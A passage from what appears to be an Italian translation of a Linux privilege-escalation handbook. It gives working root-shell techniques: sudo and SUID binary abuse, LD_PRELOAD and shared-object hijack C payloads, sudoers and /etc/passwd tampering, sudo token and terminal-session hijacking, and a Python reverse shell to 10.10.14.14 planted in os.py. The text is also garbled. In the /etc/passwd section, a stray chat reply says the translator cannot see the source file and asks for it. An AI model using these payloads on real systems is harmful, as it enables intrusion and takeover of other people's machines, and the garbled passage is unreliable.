else echo "Not found xsel and xclip"
fi

Politica delle password

grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs

Password conosciute

Se conosci una qualsiasi password dell’ambiente prova a effettuare il login come ogni utente usando quella password.

Su Brute

Se non ti dispiace fare molto rumore e i binari su e timeout sono presenti sul computer, puoi provare a brute-force gli utenti usando su-bruteforce.
Linpeas con il parametro -a prova anche a brute-force gli utenti.

Abusi del PATH scrivibile

$PATH

Se scopri di poter scrivere in qualche cartella del $PATH potresti essere in grado di escalare i privilegi creando una backdoor all’interno della cartella scrivibile con il nome di un comando che verrà eseguito da un altro utente (idealmente root) e che non venga caricato da una cartella che si trova prima della tua cartella scrivibile nel $PATH.

SUDO and SUID

Potresti essere autorizzato a eseguire alcuni comandi usando sudo o potrebbero avere il bit suid. Verificalo usando:

sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries

Alcuni comandi inaspettati permettono di leggere e/o scrivere file o addirittura eseguire un comando. Ad esempio:

sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>

NOPASSWD

La configurazione di sudo potrebbe permettere a un utente di eseguire un comando con i privilegi di un altro utente senza conoscere la password.

$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim

In questo esempio l’utente demo può eseguire vim come root; ora è banale ottenere una shell aggiungendo una ssh key nella directory di root o chiamando sh.

sudo vim -c '!sh'

SETENV

Questa direttiva permette all’utente di impostare una variabile d’ambiente durante l’esecuzione di un comando:

$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh

Questo esempio, basato su HTB machine Admirer, era vulnerabile a PYTHONPATH hijacking per caricare una libreria python arbitraria durante l’esecuzione dello script come root:

sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh

BASH_ENV preservato via sudo env_keep → root shell

Se sudoers preserva BASH_ENV (es., Defaults env_keep+="ENV BASH_ENV"), puoi sfruttare il comportamento di avvio non-interattivo di Bash per eseguire codice arbitrario come root quando invochi un comando consentito.

  • Perché funziona: per le shell non-interattive, Bash valuta $BASH_ENV e fa il sourcing di quel file prima di eseguire lo script target. Molte regole sudo consentono l’esecuzione di uno script o di un wrapper shell. Se BASH_ENV è preservato da sudo, il tuo file viene eseguito (sourced) con privilegi root.

  • Requisiti:

  • Una regola sudo che puoi eseguire (qualsiasi target che invoca /bin/bash in modo non-interattivo, o qualsiasi bash script).

  • BASH_ENV presente in env_keep (controlla con sudo -l).

  • PoC:

cat > /dev/shm/shell.sh <<'EOF'
#!/bin/bash
/bin/bash
EOF
chmod +x /dev/shm/shell.sh
BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo   # or any permitted script/binary that triggers bash
# You should now have a root shell
  • Hardening:
  • Rimuovere BASH_ENV (e ENV) da env_keep, preferire env_reset.
  • Evitare wrapper di shell per i comandi consentiti da sudo; usare binari minimi.
  • Considerare il logging I/O di sudo e gli alert quando vengono usate variabili d’ambiente preservate.

Terraform via sudo con HOME preservato (!env_reset)

Se sudo lascia l’ambiente intatto (!env_reset) mentre permette terraform apply, $HOME rimane quello dell’utente chiamante. Di conseguenza Terraform carica $HOME/.terraformrc come root e rispetta provider_installation.dev_overrides.

  • Indirizzare il provider richiesto verso una directory scrivibile e inserire un plugin malevolo chiamato come il provider (es., terraform-provider-examples):
# ~/.terraformrc
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/dev/shm"
}
direct {}
}

cat >/dev/shm/terraform-provider-examples <<'EOF'
#!/bin/bash
cp /bin/bash /var/tmp/rootsh
chown root:root /var/tmp/rootsh
chmod 6777 /var/tmp/rootsh
EOF
chmod +x /dev/shm/terraform-provider-examples
sudo /usr/bin/terraform -chdir=/opt/examples apply

Terraform fallirà il Go plugin handshake ma eseguirà il payload come root prima di terminare, lasciando dietro di sé una shell SUID.

TF_VAR overrides + symlink validation bypass

Le variabili di Terraform possono essere fornite tramite le variabili d’ambiente TF_VAR_<name>, che sopravvivono quando sudo preserva l’ambiente. Validazioni deboli come strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..") possono essere aggirate con symlink:

mkdir -p /dev/shm/root/examples
ln -s /root/root.txt /dev/shm/root/examples/flag
TF_VAR_source_path=/dev/shm/root/examples/flag sudo /usr/bin/terraform -chdir=/opt/examples apply
cat /home/$USER/docker/previous/public/examples/flag

Terraform risolve il symlink e copia il file reale /root/root.txt in una destinazione leggibile dall’attaccante. Lo stesso approccio può essere usato per scrivere in percorsi privilegiati pre-creando symlink di destinazione (es., puntando il percorso di destinazione del provider all’interno di /etc/cron.d/).

requiretty / !requiretty

Su alcune distribuzioni più vecchie, sudo può essere configurato con requiretty, il quale costringe sudo a essere eseguito solo da un TTY interattivo. Se !requiretty è impostato (o l’opzione è assente), sudo può essere eseguito da contesti non interattivi come reverse shells, cron jobs o script.

Defaults !requiretty

Questo non è di per sé una vulnerabilità diretta, ma amplia le situazioni in cui le regole sudo possono essere sfruttate senza necessità di un PTY completo.

Sudo env_keep+=PATH / insecure secure_path → PATH hijack

Se sudo -l mostra env_keep+=PATH o un secure_path contenente attacker-writable entries (es., /home/<user>/bin), qualsiasi comando relativo all’interno del target consentito da sudo può essere shadowed.

  • Requisiti: una regola sudo (spesso NOPASSWD) che esegue uno script/binary che invoca comandi senza percorsi assoluti (free, df, ps, ecc.) e una voce PATH scrivibile che viene cercata per prima.
cat > ~/bin/free <<'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x ~/bin/free
sudo /usr/local/bin/system_status.sh   # calls free → runs our trojan
bash -p                                # root shell via SUID bit

Percorsi che eludono l’esecuzione con Sudo

Salta per leggere altri file o usare symlinks. Per esempio nel file sudoers: hacker10 ALL= (root) /bin/less /var/log/*

sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less

ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file

Se viene usato un wildcard (*), è ancora più facile:

sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files

Contromisure: https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/

Sudo command/SUID binary senza command path

Se la sudo permission è concessa a un singolo command senza specificare il path: hacker10 ALL= (root) less puoi sfruttarla cambiando la variabile PATH

export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less

Questa tecnica può anche essere usata se un suid binary esegue un altro comando senza specificare il percorso (controlla sempre con strings il contenuto di un SUID binary strano).

Payload examples to execute.

SUID binary con percorso del comando

Se il suid binary esegue un altro comando specificando il percorso, allora puoi provare a export a function chiamata come il comando che il file suid sta invocando.

Per esempio, se un suid binary chiama /usr/sbin/service apache2 start devi provare a creare la funzione e exportarla:

function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service

Then, when you call the suid binary, this function will be executed

LD_PRELOAD & LD_LIBRARY_PATH

La variabile d’ambiente LD_PRELOAD viene usata per specificare una o più librerie condivise (.so files) da caricare tramite il loader prima di tutte le altre, inclusa la standard C library (libc.so). Questo processo è noto come preloading di una libreria.

Tuttavia, per mantenere la sicurezza del sistema e prevenire lo sfruttamento di questa funzionalità, in particolare con eseguibili suid/sgid, il sistema impone alcune condizioni:

  • Il loader ignora LD_PRELOAD per gli eseguibili il cui real user ID (ruid) non corrisponde all’effective user ID (euid).
  • Per gli eseguibili con suid/sgid, vengono precaricate solo le librerie in percorsi standard che sono anch’esse suid/sgid.

L’escalation di privilegi può verificarsi se hai la possibilità di eseguire comandi con sudo e l’output di sudo -l include la direttiva env_keep+=LD_PRELOAD. Questa configurazione permette alla variabile d’ambiente LD_PRELOAD di persistere ed essere riconosciuta anche quando i comandi vengono eseguiti con sudo, potenzialmente portando all’esecuzione di codice arbitrario con privilegi elevati.

Defaults        env_keep += LD_PRELOAD

Salva come /tmp/pe.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

Quindi compilalo usando:

cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles

Infine, escalate privileges eseguendo

sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo

Caution

Un privesc simile può essere sfruttato se l’attaccante controlla la variabile d’ambiente LD_LIBRARY_PATH, perché in tal modo determina i percorsi in cui verranno cercate le librerie.

#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}

# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>

SUID Binary – .so injection

Quando ci si imbatte in un binario con permessi SUID che sembra anomalo, è buona pratica verificare se sta caricando correttamente i file .so. Questo può essere controllato eseguendo il seguente comando:

strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"

Ad esempio, incontrare un errore come “open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)” suggerisce un potenziale per exploitation.

Per effettuare l’exploit di questo, si procederebbe creando un file C, ad esempio “/path/to/.config/libcalc.c”, contenente il seguente codice:

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

Questo codice, una volta compilato ed eseguito, mira a elevare i privilegi manipolando i permessi dei file ed eseguendo una shell con privilegi elevati.

Compila il file C sopra in un shared object (.so) con:

gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c

Infine, l’esecuzione del binary SUID interessato dovrebbe scatenare l’exploit, consentendo un potenziale compromesso del sistema.

Shared Object Hijacking

# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so

# The SUID also loads libraries from a custom location where we can write
readelf -d payroll  | grep PATH
0x000000000000001d (RUNPATH)            Library runpath: [/development]

Ora che abbiamo trovato un binario SUID che carica una library da una cartella in cui possiamo scrivere, creiamo la library in quella cartella con il nome necessario:

//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
setresuid(0,0,0);
system("/bin/bash -p");
}

Se ricevi un errore come

./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name

ciò significa che la libreria che hai generato deve avere una funzione chiamata a_function_name.

GTFOBins

GTFOBins è una lista curata di binari Unix che possono essere sfruttati da un attacker per bypassare le restrizioni di sicurezza locali. GTFOArgs è lo stesso ma per i casi in cui puoi solo iniettare argomenti in un comando.

Il progetto raccoglie funzioni legittime di binari Unix che possono essere abusate per uscire da restricted shells, escalare o mantenere privilegi elevati, trasferire file, spawnare bind and reverse shells, e facilitare le altre attività di post-exploitation.

gdb -nx -ex ‘!sh’ -ex quit
sudo mysql -e ‘! /bin/sh’
strace -o /dev/null /bin/sh
sudo awk ‘BEGIN {system(“/bin/sh”)}’

GTFOBins

\n \n GTFOArgs\n

FallOfSudo

Se puoi eseguire sudo -l puoi usare lo strumento FallOfSudo per verificare se trova come sfruttare qualche regola sudo.

Riutilizzo dei token sudo

Nei casi in cui hai sudo access ma non la password, puoi escalare i privilegi aspettando l’esecuzione di un comando sudo e poi hijackando il token di sessione.

Requisiti per escalare i privilegi:

  • Hai già una shell come utente “sampleuser”
  • “sampleuser” ha usato sudo per eseguire qualcosa negli ultimi 15 minuti (di default questa è la durata del token sudo che ci permette di usare sudo senza inserire alcuna password)
  • cat /proc/sys/kernel/yama/ptrace_scope è 0
  • gdb è accessibile (devi poterlo caricare)

(Puoi abilitare temporaneamente ptrace_scope con echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope o permanentemente modificando /etc/sysctl.d/10-ptrace.conf e impostando kernel.yama.ptrace_scope = 0)

Se tutti questi requisiti sono soddisfatti, puoi escalare i privilegi usando: https://github.com/nongiach/sudo_inject

  • Il primo exploit (exploit.sh) creerà il binario activate_sudo_token in /tmp. Puoi usarlo per attivare il token sudo nella tua sessione (non otterrai automaticamente una shell root, esegui sudo su):
bash exploit.sh
/tmp/activate_sudo_token
sudo su
  • Il secondo exploit (exploit_v2.sh) creerà una sh shell in /tmp di proprietà di root con setuid
bash exploit_v2.sh
/tmp/sh -p
  • Il terzo exploit (exploit_v3.sh) creerà un file sudoers che rende i sudo tokens eterni e consente a tutti gli utenti di usare sudo
bash exploit_v3.sh
sudo su

/var/run/sudo/ts/<Username>

Se hai i permessi di scrittura nella cartella o su uno qualsiasi dei file creati all’interno della cartella puoi usare il binario write_sudo_token per creare un sudo token per un utente e PID.
Ad esempio, se puoi sovrascrivere il file /var/run/sudo/ts/sampleuser e hai una shell come quell’utente con PID 1234, puoi ottenere privilegi sudo senza dover conoscere la password eseguendo:

./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser

/etc/sudoers, /etc/sudoers.d

Il file /etc/sudoers e i file all’interno di /etc/sudoers.d configurano chi può usare sudo e come. Questi file per impostazione predefinita possono essere letti solo dall’utente root e dal gruppo root.
Se puoi leggere questo file potresti essere in grado di ottenere informazioni interessanti, e se puoi scrivere qualsiasi file sarai in grado di escalare i privilegi.

ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/

Se puoi scrivere, puoi abusare di questo permesso.

echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README

Un altro modo per abusare di questi permessi:

# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win

DOAS

Esistono alcune alternative al binario sudo, come doas su OpenBSD; ricorda di controllare la sua configurazione in /etc/doas.conf.

permit nopass demo as root cmd vim

Sudo Hijacking

Se sai che un utente si connette solitamente a una macchina e usa sudo per elevare i privilegi e hai ottenuto una shell con quel contesto utente, puoi creare un nuovo eseguibile sudo che eseguirà il tuo codice come root e poi il comando dell’utente. Poi, modifica il $PATH del contesto utente (ad esempio aggiungendo il nuovo path in .bash_profile) in modo che quando l’utente esegue sudo, venga eseguito il tuo eseguibile sudo.

Nota che se l’utente usa una shell diversa (non bash) dovrai modificare altri file per aggiungere il nuovo path. Ad esempio sudo-piggyback modifica ~/.bashrc, ~/.zshrc, ~/.bash_profile. Puoi trovare un altro esempio in bashdoor.py

Oppure eseguendo qualcosa del tipo:

cat >/tmp/sudo <<EOF
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "\$@"
EOF
chmod +x /tmp/sudo
echo ‘export PATH=/tmp:$PATH’ >> $HOME/.zshenv # or ".bashrc" or any other

# From the victim
zsh
echo $PATH
sudo ls

Libreria condivisa

ld.so

Il file /etc/ld.so.conf indica da dove provengono i file di configurazione caricati. Tipicamente, questo file contiene il seguente percorso: include /etc/ld.so.conf.d/*.conf

Ciò significa che i file di configurazione in /etc/ld.so.conf.d/*.conf verranno letti. Questi file di configurazione puntano ad altre cartelle dove verranno cercate le librerie. Per esempio, il contenuto di /etc/ld.so.conf.d/libc.conf è /usr/local/lib. Questo significa che il sistema cercherà le librerie all’interno di /usr/local/lib.

Se per qualche motivo un utente ha permessi di scrittura su uno qualsiasi dei percorsi indicati: /etc/ld.so.conf, /etc/ld.so.conf.d/, qualsiasi file all’interno di /etc/ld.so.conf.d/ o qualsiasi cartella specificata in un file di configurazione dentro /etc/ld.so.conf.d/*.conf potrebbe essere in grado di escalare i privilegi.
Dai un’occhiata a come sfruttare questa misconfigurazione nella pagina seguente:

ld.so privesc exploit example

RPATH

level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED)                     Shared library: [libc.so.6]
0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)

Copiando la lib in /var/tmp/flag15/ verrà utilizzata dal programma in questa posizione come specificato nella variabile RPATH.

level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)

Quindi crea una evil library in /var/tmp con gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6

#include<stdlib.h>
#define SHELL "/bin/sh"

int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}

Capacità

Linux capabilities forniscono un sottoinsieme dei privilegi root disponibili a un processo. Questo suddivide efficacemente i privilegi root in unità più piccole e distintive. Ognuna di queste unità può poi essere concessa indipendentemente ai processi. In questo modo l’insieme completo dei privilegi è ridotto, diminuendo i rischi di exploitation.
Leggi la seguente pagina per saperne di più sulle capabilities e su come abusarne:

Linux Capabilities

Permessi delle directory

In una directory, il bit per “execute” implica che l’utente interessato può “cd” nella cartella.
Il “read” bit implica che l’utente può list i files, e il “write” bit implica che l’utente può delete e create nuovi files.

ACLs

Access Control Lists (ACLs) rappresentano il livello secondario di permessi discrezionali, in grado di sovrascrivere i tradizionali permessi ugo/rwx. Questi permessi migliorano il controllo sull’accesso a file o directory permettendo o negando diritti a utenti specifici che non sono proprietari o membri del gruppo. Questo livello di granularità garantisce una gestione degli accessi più precisa. Ulteriori dettagli si possono trovare here.

Concedi all’utente “kali” permessi di read e write su un file:

setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)

setfacl -b file.txt #Remove the ACL of the file

Ottieni file con ACL specifici dal sistema:

getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null

Sessioni shell aperte

Nelle vecchie versioni potresti hijack qualche sessione shell di un altro utente (root).
Nelle versioni più recenti potrai connect alle sessioni screen solo del tuo utente. Tuttavia, potresti trovare informazioni interessanti all’interno della sessione.

screen sessions hijacking

Elenca le sessioni screen

screen -ls
screen -ls <username>/ # Show another user' screen sessions

Collegarsi a una sessione

screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]

tmux sessions hijacking

Questo era un problema con vecchie versioni di tmux. Non sono riuscito a hijackare una sessione tmux (v2.1) creata da root come utente non privilegiato.

Elenca tmux sessions

tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess

Collegarsi a una sessione

tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself

ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep  1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket

Vedi Valentine box from HTB per un esempio.

SSH

Debian OpenSSL Predictable PRNG - CVE-2008-0166

Tutte le chiavi SSL e SSH generate su sistemi basati su Debian (Ubuntu, Kubuntu, ecc.) tra settembre 2006 e il 13 maggio 2008 possono essere affette da questo bug.
Questo bug si verifica durante la creazione di una nuova ssh key in quegli OS, poiché erano possibili solo 32.768 variazioni. Ciò significa che tutte le possibilità possono essere calcolate e avendo la chiave pubblica ssh puoi cercare la corrispondente chiave privata. Puoi trovare le possibilità calcolate qui: https://github.com/g0tmi1k/debian-ssh

SSH Valori di configurazione interessanti

  • PasswordAuthentication: Specifica se l’autenticazione tramite password è consentita. Il valore predefinito è no.
  • PubkeyAuthentication: Specifica se l’autenticazione con chiave pubblica è consentita. Il valore predefinito è yes.
  • PermitEmptyPasswords: Quando l’autenticazione tramite password è consentita, specifica se il server permette il login ad account con password vuote. Il valore predefinito è no.

PermitRootLogin

Specifica se root può accedere via ssh; il valore predefinito è no. Valori possibili:

  • yes: root può effettuare il login usando password e chiave privata
  • without-password or prohibit-password: root può effettuare il login solo con una chiave privata
  • forced-commands-only: root può effettuare il login solo usando una chiave privata e se l’opzione command è specificata
  • no : no

AuthorizedKeysFile

Specifica i file che contengono le chiavi pubbliche utilizzabili per l’autenticazione degli utenti. Può contenere token come %h, che sarà sostituito dalla home directory. Puoi indicare percorsi assoluti (che iniziano con /) o percorsi relativi dalla home dell’utente. Per esempio:

AuthorizedKeysFile    .ssh/authorized_keys access

Quella configurazione indicherà che se provi a effettuare il login con la chiave privata dell’utente “testusername” ssh confronterà la chiave pubblica della tua chiave con quelle presenti in /home/testusername/.ssh/authorized_keys e /home/testusername/access

ForwardAgent/AllowAgentForwarding

SSH agent forwarding permette di usare le tue SSH keys locali invece di lasciare le chiavi (senza passphrases!) sul tuo server. Quindi, potrai jump via ssh verso un host e da lì jump verso un altro host usando la chiave situata nel tuo host iniziale.

Devi impostare questa opzione in $HOME/.ssh.config così:

Host example.com
ForwardAgent yes

Nota che se Host è * ogni volta che l’utente si connette a una macchina diversa, tale host potrà accedere alle chiavi (il che rappresenta un problema di sicurezza).

Il file /etc/ssh_config può sovrascrivere queste opzioni e permettere o negare questa configurazione.
Il file /etc/sshd_config può permittere o negare ssh-agent forwarding con la parola chiave AllowAgentForwarding (il valore predefinito è allow).

Se trovi che Forward Agent è configurato in un ambiente leggi la seguente pagina in quanto potresti essere in grado di abusarne per un’escalation dei privilegi:

SSH Forward Agent exploitation

File interessanti

File di profilo

Il file /etc/profile e i file sotto /etc/profile.d/ sono script che vengono eseguiti quando un utente avvia una nuova shell. Pertanto, se puoi scrivere o modificare uno qualsiasi di essi puoi ottenere un’escalation dei privilegi.

ls -l /etc/profile /etc/profile.d/

Se trovi uno script di profilo sospetto, dovresti controllarlo per dettagli sensibili.

File passwd/shadow

A seconda del sistema operativo, i file /etc/passwd e /etc/shadow potrebbero avere un nome diverso o esistere copie di backup. È quindi consigliabile trovarli tutti e verificare se puoi leggerli per vedere se contengono hash:

#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null

In alcune occasioni puoi trovare password hashes all’interno del file /etc/passwd (o equivalente)

grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null

/etc/passwd scrivibile

Per prima cosa, genera una password con uno dei seguenti comandi.

openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'

Non ho accesso diretto al file src/linux-hardening/privilege-escalation/README.md. Per procedere devo che tu incolli qui il contenuto del README.md che vuoi tradurre.

Inoltre conferma come vuoi che aggiunga l’utente hacker:

  • Inserire una riga nel testo tradotto con username e password in chiaro (es. hacker: ), oppure
  • Inserire un esempio di comando per creare l’utente (nota: il codice non verrà tradotto).

Dimmi anche se vuoi che generi una password forte automaticamente (indica lunghezza e se includere simboli) oppure fornisci tu la password.

hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash

Ad esempio: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash

Ora puoi usare il comando su con hacker:hacker

In alternativa, puoi usare le seguenti righe per aggiungere un utente fittizio senza password.
ATTENZIONE: potresti compromettere la sicurezza attuale della macchina.

echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy

NOTA: Nelle piattaforme BSD /etc/passwd si trova in /etc/pwd.db e /etc/master.passwd, inoltre /etc/shadow è rinominato in /etc/spwd.db.

Dovresti verificare se puoi scrivere in alcuni file sensibili. Per esempio, puoi scrivere in qualche file di configurazione di servizio?

find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user

Ad esempio, se la macchina esegue un server tomcat e puoi modificare il file di configurazione del servizio Tomcat all’interno di /etc/systemd/, allora puoi modificare le righe:

ExecStart=/path/to/backdoor
User=root
Group=root

La tua backdoor verrà eseguita la prossima volta che tomcat sarà avviato.

Controlla le cartelle

Le seguenti cartelle possono contenere backup o informazioni interessanti: /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports, /root (Probabilmente non riuscirai a leggere l’ultima ma prova lo stesso)

ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root

Posizione strana/Owned files

#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
#Files owned by root, readable by me but not world readable
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
do printf "  Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
done

File modificati negli ultimi minuti

find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null

File di database SQLite

find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null

*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml file

find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null

File nascosti

find / -type f -iname ".*" -ls 2>/dev/null

Script/Binari nel PATH

for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done

File Web

ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null

Backups

find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null

File noti contenenti password

Leggi il codice di linPEAS, cerca diversi file che potrebbero contenere password.
Un altro strumento interessante che puoi usare è: LaZagne che è un’applicazione open source utilizzata per recuperare molte password memorizzate su un computer locale per Windows, Linux & Mac.

Logs

Se riesci a leggere i log, potresti trovare al loro interno informazioni interessanti/confidenziali. Più il log è strano, più sarà interessante (probabilmente).
Inoltre, alcuni “bad” configurati (backdoored?) audit logs potrebbero permetterti di registrare password all’interno degli audit logs come spiegato in questo post: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/.

aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null

Per leggere i log il gruppo adm sarà davvero utile.

File di Shell

~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
~/.profile # if it exists, read once if the two above don't exist
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell

Generic Creds Search/Regex

Dovresti anche controllare i file che contengono la parola “password” nel loro nome o all’interno del contenuto, e verificare anche la presenza di IP e email nei log, o regexps per hash.
Non elencherò qui come fare tutto questo, ma se ti interessa puoi controllare gli ultimi controlli che linpeas esegue.

File scrivibili

Python library hijacking

Se sai da dove verrà eseguito uno script python e puoi scrivere in quella cartella o puoi modify python libraries, puoi modificare la libreria os e backdoor it (se puoi scrivere dove lo script python verrà eseguito, copia e incolla la libreria os.py).

Per backdoor the library aggiungi alla fine della libreria os.py la seguente riga (cambia IP e PORT):

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Logrotate exploitation

